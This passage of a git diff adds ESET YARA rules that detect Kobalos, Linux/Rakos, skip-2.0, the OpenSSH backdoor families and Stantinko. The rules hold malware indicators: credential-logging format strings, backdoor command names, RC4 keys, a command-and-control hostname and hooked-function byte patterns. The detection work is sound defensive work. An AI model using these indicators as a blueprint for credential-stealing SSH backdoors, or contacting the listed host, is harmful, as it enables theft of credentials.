+        $rsa_512_mod_header = { 10 11 02 00 09 02 00 }
+        $strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }
+
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/eset/kobalos_ssh_credential_stealer.yar b/yara-mikesxrs/eset/kobalos_ssh_credential_stealer.yar
new file mode 100644
index 0000000..c13ba95
--- /dev/null
+++ b/yara-mikesxrs/eset/kobalos_ssh_credential_stealer.yar
@@ -0,0 +1,50 @@
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These YARA rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2020, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule kobalos_ssh_credential_stealer {
+    meta:
+        description = "Kobalos SSH credential stealer seen in OpenSSH client"
+        author = "Marc-Etienne M.Léveillé"
+        date = "2020-11-02"
+        reference = "http://www.welivesecurity.com"
+        reference2 = "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"
+
+    condition:
+        any of them
+}
+
diff --git a/yara-mikesxrs/eset/linux_rakos.yar b/yara-mikesxrs/eset/linux_rakos.yar
new file mode 100644
index 0000000..6904c92
--- /dev/null
+++ b/yara-mikesxrs/eset/linux_rakos.yar
@@ -0,0 +1,53 @@
+// Linux/Rakos yara rule
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+
+rule linux_rakos
+{
+    meta:
+        description = "Linux/Rakos.A executable"
+        author = "Peter Kálnai"
+        date = "2016-12-13"
+        reference = "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/"
+        version = "1"
+        contact = "threatintel@eset.com"
+        license = "BSD 2-Clause"
+
+
+    strings:
+        $ = "upgrade/vars.yaml"
+        $ = "MUTTER"
+        $ = "/tmp/.javaxxx"
+        $ = "uckmydi"
+
+    condition:
+        3 of them
+}
diff --git a/yara-mikesxrs/eset/skip20_sqllang_hook.yar b/yara-mikesxrs/eset/skip20_sqllang_hook.yar
new file mode 100644
index 0000000..e469163
--- /dev/null
+++ b/yara-mikesxrs/eset/skip20_sqllang_hook.yar
@@ -0,0 +1,69 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2019, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule skip20_sqllang_hook
+{
+    meta:
+    author      = "Mathieu Tartare <mathieu.tartare@eset.com>"
+    date        = "21-10-2019"
+    description = "YARA rule to detect if a sqllang.dll version is targeted by skip-2.0. Each byte pattern corresponds to a function hooked by skip-2.0. If $1_0 or $1_1 match, it is probably targeted as it corresponds to the hook responsible for bypassing the authentication."
+    reference   = "https://www.welivesecurity.com/" 
+    source = "https://github.com/eset/malware-ioc/"
+    contact = "github@eset.com"
+    license = "BSD 2-Clause"
+
+    strings:
+        $1_0  = {ff f3 55 56 57 41 56 48 81 ec c0 01 00 00 48 c7 44 24 38 fe ff ff ff}
+        $1_1  = {48 8b c3 4c 8d 9c 24 a0 00 00 00 49 8b 5b 10 49 8b 6b 18 49 8b 73 20 49 8b 7b 28 49 8b e3 41 5e c3 90 90 90 90 90 90 90 ff 25}
+        $2_0  = {ff f3 55 57 41 55 48 83 ec 58 65 48 8b 04 25 30 00 00 00}
+        $2_1  = {48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ff 25}
+        $3_0  = {89 4c 24 08 4c 8b dc 49 89 53 10 4d 89 43 18 4d 89 4b 20 57 48 81 ec 90 00 00 00}
+        $3_1  = {4c 8d 9c 24 20 01 00 00 49 8b 5b 40 49 8b 73 48 49 8b e3 41 5f 41 5e 41 5c 5f 5d c3}
+        $4_0  = {ff f5 41 56 41 57 48 81 ec 90 00 00 00 48 8d 6c 24 50 48 c7 45 28 fe ff ff ff 48 89 5d 60 48 89 75 68 48 89 7d 70 4c 89 65 78}
+        $4_1  = {8b c1 48 8b 8c 24 30 02 00 00 48 33 cc}
+        $5_0  = {48 8b c4 57 41 54 41 55 41 56 41 57 48 81 ec 90 03 00 00 48 c7 80 68 fd ff ff fe ff ff ff 48 89 58 18 48 89 70 20}
+        $5_1  = {48 c7 80 68 fd ff ff fe ff ff ff 48 89 58 18 48 89 70 20}
+        $6_0  = {44 88 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 53 56 57 41 54 41 55 41 56 41 57 48 81 ec 80 01 00 00}
+        $6_1  = {48 89 4c 24 08 53 56 57 41 54 41 55 41 56 41 57 48 81 ec 80 01 00 00 48 c7 84 24 e8 00 00 00 fe ff ff ff}
+        $7_0  = {08 48 89 74 24 10 57 48 83 ec 20 49 63 d8 48 8b f2 48 8b f9 45 85 c0}
+        $7_1  = {20 49 63 d8 48 8b f2 48 8b f9 45 85}
+        $8_0  = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [11300-] ff f5 56 57 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 70}
+        $9_0  = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [40050-] 48 8b c4 55 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 60}
+        $10_0 = {41 56 48 83 ec 50 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 60 48 89 6c 24 68 48 89 74 24 70 48 89 7c 24 78 48 8b d9 33 ed 8b f5 89 6c}
+        $10_1 = {48 8b 42 18 4c 89 90 f0 00 00 00 44 89 90 f8 00 00 00 c7 80 fc 00 00 00 1b 00 00 00 48 8b c2 c3 90 90 90}
+        $11_0 = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [40700-] 48 8b c4 55 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 60}
+        $12_0 = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [10650-] 48 8b c4 55 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 60}
+        $13_0 = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [41850-] ff f5 56 57 41 54 41 55 41 56 41 57 48 8b ec 48 83 ec 70}
+        $14_0 = {48 89 01 48 8b c2 48 c7 41 08 04 00 00 00 c3 90 90 90 90 90 90 90 90 90 90 89 91 40 [42600-] ff f7 48 83 ec 50 48 c7 44 24 20 fe ff ff ff}
+
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/eset/sshdoor.yar b/yara-mikesxrs/eset/sshdoor.yar
new file mode 100644
index 0000000..adcce57
--- /dev/null
+++ b/yara-mikesxrs/eset/sshdoor.yar
@@ -0,0 +1,572 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2018, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+private rule ssh_client : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH client (ssh)"
+        author = "Marc-Etienne M.Leveille"
+        email  = "leveille@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: ssh ["
+        $old_version = "-L listen-port:host:port"
+
+    condition:
+        $usage or $old_version
+}
+
+private rule ssh_daemon : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH daemon (sshd)"
+        author = "Marc-Etienne M.Leveille"
+        email  = "leveille@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: sshd ["
+        $old_version = "Listen on the specified port (default: 22)"
+
+    condition:
+        $usage or $old_version
+}
+
+private rule ssh_add : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH add (ssh-add)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: %s [options] [file ...]\n"
+        $log = "Could not open a connection to your authentication agent.\n"
+
+    condition:
+        $usage and $log
+}
+
+private rule ssh_agent : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH agent (ssh-agent)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: %s [options] [command [arg ...]]"
+
+    condition:
+        $usage
+}
+
+private rule ssh_askpass : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH daemon (sshd)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $pass = "Enter your OpenSSH passphrase:"
+        $log = "Could not grab %s. A malicious client may be eavesdropping on you"
+
+    condition:
+        $pass and $log
+}
+
+private rule ssh_keygen : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH keygen (ssh-keygen)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $pass = "Enter new passphrase (empty for no passphrase):"
+        $log = "revoking certificates by key ID requires specification of a CA key"
+
+    condition:
+        $pass and $log
+}
+
+private rule ssh_keyscan : sshdoor {
+    meta:
+        description = "Signature to match the clean (or not) OpenSSH keyscan (ssh-keyscan)"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $usage = "usage: %s [-46Hv] [-f file] [-p port] [-T timeout] [-t type]"
+
+    condition:
+        $usage
+}
+
+private rule ssh_binary : sshdoor {
+    meta:
+        description = "Signature to match any clean (or not) SSH binary"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+
+    condition:
+        ssh_client or ssh_daemon or ssh_add or ssh_askpass or ssh_keygen or ssh_keyscan
+}
+
+private rule stack_string {
+    meta:
+        description = "Rule to detect use of string-stacking"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        // single byte offset from base pointer
+        $bp = /(\xC6\x45.{2}){25}/
+        // dword ss with single byte offset from base pointer
+        $bp_dw = /(\xC7\x45.{5}){20}/
+        // 4-bytes offset from base pointer
+        $bp_off = /(\xC6\x85.{5}){25}/
+        // single byte offset from stack pointer
+        $sp = /(\xC6\x44\x24.{2}){25}/
+        // 4-bytes offset from stack pointer
+        $sp_off = /(\xC6\x84\x24.{5}){25}/
+
+    condition:
+        any of them
+}
+
+rule abafar {
+    meta:
+        description = "Rule to detect Abafar family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log_c =  "%s:%s@%s"
+        $log_d =  "%s:%s from %s"
+
+    condition:
+        ssh_binary and any of them
+}
+
+rule akiva {
+    meta:
+        description = "Rule to detect Akiva family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = /(To|From):\s(%s\s\-\s)?%s:%s\n/
+
+    condition:
+        ssh_binary and $log
+}
+
+rule alderaan {
+    meta:
+        description = "Rule to detect Alderaan family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = /login\s(in|at):\s(%s\s)?%s:%s\n/
+
+    condition:
+        ssh_binary and $log
+}
+
+rule ando {
+    meta:
+        description = "Rule to detect Ando family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "%s:%s\n"
+        $s2 = "HISTFILE"
+        $i = "fopen64"
+        $m1 = "cat "
+        $m2 = "mail -s"
+
+    condition:
+        ssh_binary and all of ($s*) and ($i or all of ($m*))
+}
+
+rule anoat {
+    meta:
+        description = "Rule to detect Anoat family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = "%s at: %s | user: %s, pass: %s\n"
+
+    condition:
+        ssh_binary and $log
+}
+
+rule atollon {
+    meta:
+        description = "Rule to detect Atollon family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $f1 = "PEM_read_RSA_PUBKEY"
+        $f2 = "RAND_add"
+        $log = "%s:%s"
+        $rand = "/dev/urandom"
+
+    condition:
+        ssh_binary and stack_string and all of them
+}
+
+rule batuu {
+    meta:
+        description = "Rule to detect Batuu family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $args = "ssh: ~(av[%d]: %s\n)"
+        $log = "readpass: %s\n"
+
+    condition:
+        ssh_binary and any of them
+}
+
+rule bespin {
+    meta:
+        description = "Rule to detect Bespin family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log1 = "%Y-%m-%d %H:%M:%S"
+        $log2 = "%s %s%s"
+        $log3 = "[%s]"
+
+    condition:
+        ssh_binary and all of them
+}
+
+rule bonadan {
+    meta:
+        description = "Rule to detect Bonadan family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "g_server"
+        $s2 = "mine.sock"
+        $s3 = "tspeed"
+        $e1 = "6106#x=%d#%s#%s#speed=%s"
+        $e2 = "usmars.mynetgear.com"
+        $e3 = "user=%s#os=%s#eip=%s#cpu=%s#mem=%s"
+
+    condition:
+        ssh_binary and any of them
+}
+
+rule borleias {
+    meta:
+        description = "Rule to detect Borleias family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = "%Y-%m-%d %H:%M:%S [%s]"
+
+    condition:
+        ssh_binary and all of them
+}
+
+rule chandrila {
+    meta:
+        description = "Rule to detect Chandrila family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = "S%s %s:%s"
+        $magic = { 05 71 92 7D }
+
+    condition:
+        ssh_binary and all of them
+}
+
+rule coruscant {
+    meta:
+        description = "Rule to detect Coruscant family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "%s:%s@%s\n"
+        $s2 = "POST"
+        $s3 = "HTTP/1.1"
+
+    condition:
+        ssh_binary and all of them
+}
+
+rule crait {
+    meta:
+        description = "Signature to detect Crait family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $i1 = "flock"
+        $i2 = "fchmod"
+        $i3 = "sendto"
+
+    condition:
+        ssh_binary and 2 of them
+}
+
+rule endor {
+    meta:
+        description = "Rule to detect Endor family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $u = "user: %s"
+        $p = "password: %s"
+
+    condition:
+        ssh_binary and $u and $p in (@u..@u+20)
+}
+
+rule jakuu {
+    meta:
+        description = "Rule to detect Jakuu family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        notes = "Strings can be encrypted"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $dec = /GET\s\/\?(s|c)id=/
+        $enc1 = "getifaddrs"
+        $enc2 = "usleep"
+        $ns = "gethostbyname"
+        $log = "%s:%s"
+        $rc4 = { A1 71 31 17 11 1A 22 27 55 00 66 A3 10 FE C2 10 22 32 6E 95 90 84 F9 11 73 62 95 5F 4D 3B DB DC }
+
+    condition:
+        ssh_binary and $log and $ns and ($dec or all of ($enc*) or $rc4)
+}
+
+rule kamino {
+    meta:
+        description = "Rule to detect Kamino family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "/var/log/wtmp"
+        $s2 = "/var/log/secure"
+        $s3 = "/var/log/auth.log"
+        $s4 = "/var/log/messages"
+        $s5 = "/var/log/audit/audit.log"
+        $s6 = "/var/log/httpd-access.log"
+        $s7 = "/var/log/httpd-error.log"
+        $s8 = "/var/log/xferlog"
+        $i1 = "BIO_f_base64"
+        $i2 = "PEM_read_bio_RSA_PUBKEY"
+        $i3 = "srand"
+        $i4 = "gethostbyname"
+
+    condition:
+        ssh_binary and 5 of ($s*) and 3 of ($i*)
+}
+
+rule kessel {
+    meta:
+        description = "Rule to detect Kessel family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $rc4 = "Xee5chu1Ohshasheed1u"
+        $s1 = "ssh:%s:%s:%s:%s"
+        $s2 = "sshkey:%s:%s:%s:%s:%s"
+        $s3 = "sshd:%s:%s"
+        $i1 = "spy_report"
+        $i2 = "protoShellCMD"
+        $i3 = "protoUploadFile"
+        $i4 = "protoSendReport"
+        $i5 = "tunRecvDNS"
+        $i6 = "tunPackMSG"
+
+    condition:
+        ssh_binary and (2 of ($s*) or 2 of ($i*) or $rc4)
+}
+
+rule mimban {
+    meta:
+        description = "Rule to detect Mimban family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "<|||%s|||%s|||%d|||>"
+        $s2 = />\|\|\|%s\|\|\|%s\|\|\|\d\|\|\|%s\|\|\|%s\|\|\|%s\|\|\|%s\|\|\|</
+        $s3 = "-----BEGIN PUBLIC KEY-----"
+        $i1 = "BIO_f_base64"
+        $i2 = "PEM_read_bio_RSA_PUBKEY"
+        $i3 = "gethostbyname"
+
+    condition:
+        ssh_binary and 2 of ($s*) and 2 of ($i*)
+}
+
+rule ondaron {
+    meta:
+        description = "Rule to detect Ondaron family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $daemon = "user:password --> %s:%s\n"
+        $client = /user(,|:)(a,)?password@host \-\-> %s(,|:)(b,)?%s@%s\n/
+
+    condition:
+        ssh_binary and ($daemon or $client)
+}
+
+rule polis_massa {
+    meta:
+        description = "Rule to detect Polis Massa family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = /\b\w+(:|\s-+>)\s%s(:%d)?\s\t(\w+)?:\s%s\s\t(\w+)?:\s%s/
+
+    condition:
+        ssh_binary and $log
+}
+
+rule quarren {
+    meta:
+        description = "Rule to detect Quarren family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = "h: %s, u: %s, p: %s\n"
+
+    condition:
+        ssh_binary and $log
+}
diff --git a/yara-mikesxrs/eset/stantinko.yar b/yara-mikesxrs/eset/stantinko.yar
new file mode 100644
index 0000000..cc124cb
--- /dev/null
+++ b/yara-mikesxrs/eset/stantinko.yar
@@ -0,0 +1,255 @@
+// Stantinko yara rules
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2017, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
